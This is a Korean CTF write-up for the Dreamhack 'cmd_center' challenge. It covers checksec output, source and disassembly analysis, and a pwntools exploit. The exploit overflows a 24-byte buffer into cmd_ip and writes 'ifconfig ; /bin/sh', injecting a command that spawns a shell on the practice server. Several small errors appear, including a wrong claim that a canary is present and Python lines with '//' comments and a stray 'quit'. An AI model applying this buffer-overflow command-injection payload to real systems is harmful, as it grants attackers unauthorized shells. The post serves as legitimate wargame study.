system hacking

드림핵 cmd_center 문제 풀이

24kg0ld 2024. 7. 25. 23:00

문제 풀이 환경 : 구름ide

1. 문제 파일 다운, 환경 분석

문제 파일을 다운 받고 $ chmod +x cmd_center로 실행 권한을 부여했다.
environment

$ checksec cmd_center
[*] '/workspace/C/cmd_center/cmd_center'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full RERLO, NX, PIE가 적용되어 있는 64비트 시스템임을 알 수 있다.

2. 코드 분석

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int main()
{

    char cmd_ip[256] = "ifconfig"; //cmd_ip[256] 선언하고 'ipconfig' 저장
    int dummy;
    char center_name[24]; //24바이트 크기의 center_name 선언

    init();

    printf("Center name: ");
    read(0, center_name, 100); //최대 100바이트만큼 center_name에 입력 받음


    if( !strncmp(cmd_ip, "ifconfig", 8)) { //cmd_ip의 첫 8바이트에 ifconfig가 저장되어 있다면
        system(cmd_ip); //syste(cmd_ip) 실행
    }

    else {
        printf("Something is wrong!\n");
    }
    exit(0);
}

senter name의 크기가 24바이트인데 입력을 최대 100바이트 받으므로 buf overflow를 일으킬 수 있다.
하지만 canary가 적용되어 있으므로 return adress에 원하는 주소를 입력하기는 힘들다.
cmd_ip를 원하는 명령어로 바꾸고, if문의 조건을 만족할 수 있다면 system(cmd_ip)로 쉘을 획득할 수 있을 것 같다.

3. 스택 프레임 분석

pwngdb> disass main으로 main을 disassemble했다.

   0x0000000000000916 <+105>:   lea    rax,[rbp-0x130]
   0x000000000000091d <+112>:   mov    edx,0x64
   0x0000000000000922 <+117>:   mov    rsi,rax
   0x0000000000000925 <+120>:   mov    edi,0x0
   0x000000000000092a <+125>:   call   0x720 <read@plt>

read 함수의 인자로 center_name이 사용되므로 read 함수 이전의 코드를 확인했다.
center_name이 rbp-0x30에 위치함을 알 수 있다.

   0x000000000000094e <+161>:   lea    rax,[rbp-0x110]
   0x0000000000000955 <+168>:   mov    rdi,rax
   0x0000000000000958 <+171>:   call   0x700 <system@plt

system 함수의 인자로 cmd_ip가 사용되므로 syste 함수 이전의 코드를 확인했다.
cmd_ip가 rbp-0x110에 위치함을 알 수 있다.
스택 프레임
-------------------- rbp-0x130
[center_name]
-------------------- rbp-0x118

-------------------- rbp-0x110
[cmd_ip]
-------------------- rbp

스택 프레임이 위와 같은 형태임을 예상할 수 있다.

4. 취약점 분석

위의 코드에서 분석했듯이 center_name에 입력을 할 때 buf overflow를 발생시킬 수 있다.
center_name부터 cmd_ip까지(0x20바이트) dummy값을 넣어주고,
if문의 조건을 만족시킬 수 있게 값을 넣어준 후,
'/bin/sh'가 실핼될 수 있도록 명령어를 넣어주면 쉘을 실행할 수 있다.

5. 코드 작성

from pwn import *

context.arch = 'amd64'

p = remote('host1.dreamhack.games', 23291)

payload = b'A' * 0x20 //dummy
payload += b'ifconfig ; /bin/sh' //if문 조건 만족할 수 있게 ifconfig 넣어주고, 그 뒤에 쉘 실행할 수 있게 ; /bin/sh 넣어줌
p.sendafter(b': ', payload)quit

p.interactive()

위의 코드로 쉘을 획득했다.